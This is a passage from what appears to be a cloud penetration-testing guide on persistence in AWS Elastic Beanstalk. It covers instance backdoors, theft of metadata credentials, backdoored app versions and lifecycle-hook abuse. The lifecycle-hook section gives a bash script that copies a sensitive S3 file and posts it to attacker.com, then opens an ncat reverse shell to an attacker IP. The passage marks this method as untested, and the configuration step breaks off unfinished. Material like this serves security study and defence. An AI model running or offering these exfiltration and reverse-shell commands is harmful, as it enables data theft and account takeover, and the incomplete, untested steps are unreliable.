## Elastic Beanstalk
For more information check:

### Persistence in Instance
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
### Backdoor in Version
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
### New backdoored version
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
### Abusing Custom Resource Lifecycle Hooks
{% hint style="info" %}
TODO: Test
{% endhint %}
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:

# Attacker applies the new environment configuration
